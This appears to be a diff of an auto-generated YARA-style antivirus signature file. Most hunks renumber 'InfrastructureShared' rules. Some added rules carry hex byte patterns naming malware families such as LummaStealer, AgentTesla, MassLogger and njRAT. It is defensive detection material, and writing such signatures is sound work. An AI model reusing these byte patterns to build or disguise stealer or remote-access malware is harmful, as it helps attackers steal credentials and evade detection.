-38262,7 +39466,7 @@ rule _InfrastructureShared_3702{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3703{ +rule _InfrastructureShared_3819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -38273,7 +39477,7 @@ rule _InfrastructureShared_3703{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*8448) >=100 } -rule _InfrastructureShared_3704{ +rule _InfrastructureShared_3820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38283,7 +39487,7 @@ rule _InfrastructureShared_3704{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3705{ +rule _InfrastructureShared_3821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38293,7 +39497,7 @@ rule _InfrastructureShared_3705{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3706{ +rule _InfrastructureShared_3822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38303,7 +39507,7 @@ rule _InfrastructureShared_3706{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3707{ +rule _InfrastructureShared_3823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38313,7 +39517,7 @@ rule _InfrastructureShared_3707{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3708{ +rule _InfrastructureShared_3824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38323,7 +39527,7 @@ rule _InfrastructureShared_3708{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3709{ +rule _InfrastructureShared_3825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38333,7 +39537,7 @@ rule _InfrastructureShared_3709{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3710{ +rule _InfrastructureShared_3826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38343,7 +39547,7 @@ rule _InfrastructureShared_3710{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3711{ +rule _InfrastructureShared_3827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38353,7 +39557,7 @@ rule _InfrastructureShared_3711{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3712{ +rule _InfrastructureShared_3828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38363,7 +39567,7 @@ rule _InfrastructureShared_3712{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3713{ +rule _InfrastructureShared_3829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38373,7 +39577,7 @@ rule _InfrastructureShared_3713{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3714{ +rule _InfrastructureShared_3830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38383,7 +39587,7 @@ rule _InfrastructureShared_3714{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3715{ +rule _InfrastructureShared_3831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38393,7 +39597,17 @@ rule _InfrastructureShared_3715{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3716{ +rule _InfrastructureShared_3832{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 6f 7a 65 6e 56 6f 6c 63 61 6e 6f 2e 41 21 64 68 61 00 01 00 1d 43 48 83 ec 28 41 b8 90 01 04 ba 00 32 07 00 b9 90 01 04 e8 90 01 04 48 83 c4 28 c3 90 00 00 00 78 50 00 00 01 00 01 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_3833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38403,7 +39617,7 @@ rule _InfrastructureShared_3716{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3717{ +rule _InfrastructureShared_3834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38413,7 +39627,7 @@ rule _InfrastructureShared_3717{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3718{ +rule _InfrastructureShared_3835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38423,7 +39637,7 @@ rule _InfrastructureShared_3718{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3719{ +rule _InfrastructureShared_3836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38433,7 +39647,7 @@ rule _InfrastructureShared_3719{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3720{ +rule _InfrastructureShared_3837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38443,7 +39657,7 @@ rule _InfrastructureShared_3720{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3721{ +rule _InfrastructureShared_3838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38453,7 +39667,7 @@ rule _InfrastructureShared_3721{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3722{ +rule _InfrastructureShared_3839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38463,7 +39677,7 @@ rule _InfrastructureShared_3722{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3723{ +rule _InfrastructureShared_3840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38473,7 +39687,7 @@ rule _InfrastructureShared_3723{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3724{ +rule _InfrastructureShared_3841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38483,7 +39697,7 @@ rule _InfrastructureShared_3724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3725{ +rule _InfrastructureShared_3842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38493,7 +39707,7 @@ rule _InfrastructureShared_3725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3726{ +rule _InfrastructureShared_3843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38503,7 +39717,7 @@ rule _InfrastructureShared_3726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3727{ +rule _InfrastructureShared_3844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38513,7 +39727,7 @@ rule _InfrastructureShared_3727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3728{ +rule _InfrastructureShared_3845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38523,7 +39737,7 @@ rule _InfrastructureShared_3728{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3729{ +rule _InfrastructureShared_3846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38533,7 +39747,7 @@ rule _InfrastructureShared_3729{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3730{ +rule _InfrastructureShared_3847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38543,7 +39757,7 @@ rule _InfrastructureShared_3730{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3731{ +rule _InfrastructureShared_3848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38553,7 +39767,7 @@ rule _InfrastructureShared_3731{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3732{ +rule _InfrastructureShared_3849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38563,7 +39777,7 @@ rule _InfrastructureShared_3732{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3733{ +rule _InfrastructureShared_3850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38573,7 +39787,7 @@ rule _InfrastructureShared_3733{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3734{ +rule _InfrastructureShared_3851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38583,7 +39797,7 @@ rule _InfrastructureShared_3734{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3735{ +rule _InfrastructureShared_3852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38593,7 +39807,7 @@ rule _InfrastructureShared_3735{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3736{ +rule _InfrastructureShared_3853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38603,7 +39817,7 @@ rule _InfrastructureShared_3736{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3737{ +rule _InfrastructureShared_3854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38613,7 +39827,7 @@ rule _InfrastructureShared_3737{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3738{ +rule _InfrastructureShared_3855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38623,17 +39837,27 @@ rule _InfrastructureShared_3738{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3739{ +rule _InfrastructureShared_3856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 52 61 63 63 6f 6f 6e 2e 45 00 01 00 2d 03 81 c1 5c 11 00 00 90 02 40 a1 90 01 04 31 0d 90 01 04 a1 90 01 04 c7 05 90 01 08 01 05 90 01 04 8b 15 90 01 04 a1 90 01 04 89 02 90 00 00 00 78 50 00 00 01 00 01 00 01 00 21 23 4c 6f 77 } //18467 + $a_54_0 = {3a 57 69 6e 33 32 2f 52 61 63 63 6f 6f 6e 2e 45 00 01 00 2d 03 81 c1 5c 11 00 00 90 02 40 a1 90 01 04 31 0d 90 01 04 a1 90 01 04 c7 05 90 01 08 01 05 90 01 04 8b 15 90 01 04 a1 90 01 04 89 02 90 00 00 00 78 50 00 00 01 00 01 00 01 00 21 23 48 53 54 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3740{ +rule _InfrastructureShared_3857{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 56 4e 32 00 01 00 25 01 0f b6 8c 1c 80 01 00 00 01 c1 0f b6 c1 8a 84 04 80 01 00 00 48 63 4c 24 64 48 8b 54 24 30 30 04 0a 8b 7c 24 64 00 00 78 50 00 00 01 00 01 00 01 00 21 23 4c 6f 77 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38643,7 +39867,7 @@ rule _InfrastructureShared_3740{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3741{ +rule _InfrastructureShared_3859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38653,7 +39877,7 @@ rule _InfrastructureShared_3741{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3742{ +rule _InfrastructureShared_3860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38663,7 +39887,7 @@ rule _InfrastructureShared_3742{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3743{ +rule _InfrastructureShared_3861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38673,7 +39897,7 @@ rule _InfrastructureShared_3743{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3744{ +rule _InfrastructureShared_3862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38683,7 +39907,7 @@ rule _InfrastructureShared_3744{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3745{ +rule _InfrastructureShared_3863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38693,7 +39917,7 @@ rule _InfrastructureShared_3745{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3746{ +rule _InfrastructureShared_3864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38703,7 +39927,7 @@ rule _InfrastructureShared_3746{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3747{ +rule _InfrastructureShared_3865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38713,17 +39937,37 @@ rule _InfrastructureShared_3747{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3748{ +rule _InfrastructureShared_3866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 47 50 50 41 21 4d 54 42 00 01 00 1e 03 7a 06 14 6f 90 01 01 00 00 0a 75 90 01 01 00 00 01 0b 07 14 28 90 01 01 00 00 0a 13 90 00 00 00 78 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 58 21 4d 54 42 00 01 00 20 01 01 25 47 7e 2a 00 00 04 19 11 11 5f 19 62 1f 1f 5f 63 d2 61 d2 52 17 11 11 58 13 11 11 11 11 12 00 00 78 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3749{ +rule _InfrastructureShared_3867{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 57 21 4d 54 42 00 01 00 20 01 01 7d 7a 00 00 04 02 7b 79 00 00 04 7b 10 00 00 04 02 7b 7a 00 00 04 16 02 7b 7a 00 00 04 8e 69 00 00 78 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3868{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 44 21 4d 54 42 00 01 00 20 03 01 25 16 12 05 28 90 01 01 00 00 0a 9c 25 17 12 05 28 90 01 01 00 00 0a 9c 25 18 12 05 28 90 00 00 00 78 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38733,7 +39977,7 @@ rule _InfrastructureShared_3749{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3750{ +rule _InfrastructureShared_3870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38743,17 +39987,37 @@ rule _InfrastructureShared_3750{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3751{ +rule _InfrastructureShared_3871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 75 73 74 79 53 74 65 61 6c 65 72 2e 53 4d 57 21 4d 54 42 00 01 00 1c 01 4c 8b 44 11 08 4c 33 44 08 08 4c 89 84 0d 48 24 00 00 48 83 c1 08 48 83 f9 50 72 e4 00 00 78 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6b 73 74 61 6b 2e 47 41 55 21 4d 54 42 00 01 00 22 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 be 0a 00 56 0c ba 0d 90 00 00 00 78 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3752{ +rule _InfrastructureShared_3872{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6b 73 74 61 6b 2e 47 4b 50 21 4d 54 42 00 01 00 22 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 d0 0a 00 c7 1a 37 c4 90 00 00 00 78 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3873{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 43 43 4a 57 21 4d 54 42 00 01 00 1c 03 99 8b c8 2b 0d 90 01 04 a1 90 01 04 99 33 c1 a3 90 01 04 8b 95 90 01 04 83 c2 90 00 00 00 78 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38763,7 +40027,7 @@ rule _InfrastructureShared_3752{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3753{ +rule _InfrastructureShared_3875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -38773,7 +40037,7 @@ rule _InfrastructureShared_3753{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3754{ +rule _InfrastructureShared_3876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -38784,7 +40048,7 @@ rule _InfrastructureShared_3754{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14930) >=1 } -rule _InfrastructureShared_3755{ +rule _InfrastructureShared_3877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -38795,7 +40059,7 @@ rule _InfrastructureShared_3755{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14930) >=1 } -rule _InfrastructureShared_3756{ +rule _InfrastructureShared_3878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -38806,7 +40070,7 @@ rule _InfrastructureShared_3756{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14930) >=1 } -rule _InfrastructureShared_3757{ +rule _InfrastructureShared_3879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -38817,19 +40081,19 @@ rule _InfrastructureShared_3757{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*14930) >=1 } -rule _InfrastructureShared_3758{ +rule _InfrastructureShared_3880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 6e 6e 79 4c 6f 61 64 65 72 00 01 00 05 80 01 42 75 6e 6e 79 01 00 09 80 01 42 75 6e 6e 79 6c 6f 67 73 01 00 0b 80 01 42 75 6e 6e 79 4c 6f 61 64 65 72 00 00 78 50 00 00 02 00 02 00 01 00 21 23 41 4c 46 } //18467 $a_6f_1 = {61 6e 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 52 44 41 42 21 4d 54 42 00 02 00 23 01 03 28 56 00 00 0a 13 06 28 4f 00 00 0a 11 05 11 06 16 11 06 8e b7 6f 57 00 00 0a 6f 58 00 00 0a 0b 07 0d 00 00 78 50 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 61 77 6b 43 72 79 70 74 2e 41 21 64 68 61 00 02 00 21 03 0b } //21562 - $a_05_2 = {90 01 04 c1 e2 08 0b d1 48 8d 4c 24 30 0b d0 33 54 24 20 90 03 01 01 81 83 f2 90 00 00 00 78 50 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 33 32 64 6c 6c 4c 6f 61 64 00 02 00 25 03 b8 6c 6c 00 00 90 02 35 c7 44 24 37 77 73 32 5f c7 44 24 3b 33 32 2e 64 66 89 44 24 3f c6 44 24 41 00 e8 90 00 00 00 78 50 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 44 4b 21 4d 54 42 00 02 00 1f 01 00 06 08 02 08 91 07 08 07 8e 69 5d 91 61 d2 9c 00 } //4048 + $a_05_2 = {90 01 04 c1 e2 08 0b d1 48 8d 4c 24 30 0b d0 33 54 24 20 90 03 01 01 81 83 f2 90 00 00 00 78 50 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 72 79 73 2e 41 52 41 21 4d 54 42 00 02 00 23 01 8b c1 c1 e8 1e 33 c1 69 d0 65 89 07 6c 41 03 d0 42 89 54 83 04 8b ca 49 ff c0 49 81 f8 70 02 00 00 72 dd 00 00 78 50 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 33 32 64 6c 6c 4c 6f 61 64 00 02 00 25 03 b8 6c 6c 00 00 90 02 35 c7 44 24 37 77 73 32 5f c7 44 24 3b 33 32 2e } //4048 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562+(#a_05_2 & 1)*4048) >=1 } -rule _InfrastructureShared_3759{ +rule _InfrastructureShared_3881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -38839,7 +40103,7 @@ rule _InfrastructureShared_3759{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3760{ +rule _InfrastructureShared_3882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -38849,7 +40113,17 @@ rule _InfrastructureShared_3760{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3761{ +rule _InfrastructureShared_3883{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 72 79 73 2e 41 52 41 21 4d 54 42 00 02 00 23 01 8b c1 c1 e8 1e 33 c1 69 d0 65 89 07 6c 41 03 d0 42 89 54 83 04 8b ca 49 ff c0 49 81 f8 70 02 00 00 72 dd 00 00 78 50 00 00 02 00 02 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -38859,7 +40133,7 @@ rule _InfrastructureShared_3761{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_3762{ +rule _InfrastructureShared_3885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -38869,7 +40143,7 @@ rule _InfrastructureShared_3762{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_3763{ +rule _InfrastructureShared_3886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38880,7 +40154,7 @@ rule _InfrastructureShared_3763{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_3764{ +rule _InfrastructureShared_3887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38891,7 +40165,7 @@ rule _InfrastructureShared_3764{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_3765{ +rule _InfrastructureShared_3888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38902,7 +40176,7 @@ rule _InfrastructureShared_3765{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*2) >=2 } -rule _InfrastructureShared_3766{ +rule _InfrastructureShared_3889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38913,7 +40187,7 @@ rule _InfrastructureShared_3766{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*14930) >=2 } -rule _InfrastructureShared_3767{ +rule _InfrastructureShared_3890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38924,7 +40198,7 @@ rule _InfrastructureShared_3767{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14930) >=2 } -rule _InfrastructureShared_3768{ +rule _InfrastructureShared_3891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38935,7 +40209,7 @@ rule _InfrastructureShared_3768{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*14930) >=2 } -rule _InfrastructureShared_3769{ +rule _InfrastructureShared_3892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -38946,7 +40220,7 @@ rule _InfrastructureShared_3769{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*14930) >=2 } -rule _InfrastructureShared_3770{ +rule _InfrastructureShared_3893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -38958,7 +40232,7 @@ rule _InfrastructureShared_3770{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21562+(#a_4d_2 & 1)*25714) >=2 } -rule _InfrastructureShared_3771{ +rule _InfrastructureShared_3894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -38969,54 +40243,73 @@ rule _InfrastructureShared_3771{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*2) >=3 } -rule _InfrastructureShared_3772{ +rule _InfrastructureShared_3895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 44 75 61 6c 53 61 66 65 00 02 00 19 01 44 75 61 6c 53 61 66 65 20 50 61 73 73 77 6f 72 64 20 4d 61 6e 61 67 65 72 01 00 12 00 69 00 54 00 6f 00 70 00 20 00 49 00 6e 00 63 00 2e 00 00 00 78 50 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 79 73 64 75 70 61 74 65 2e 46 00 01 00 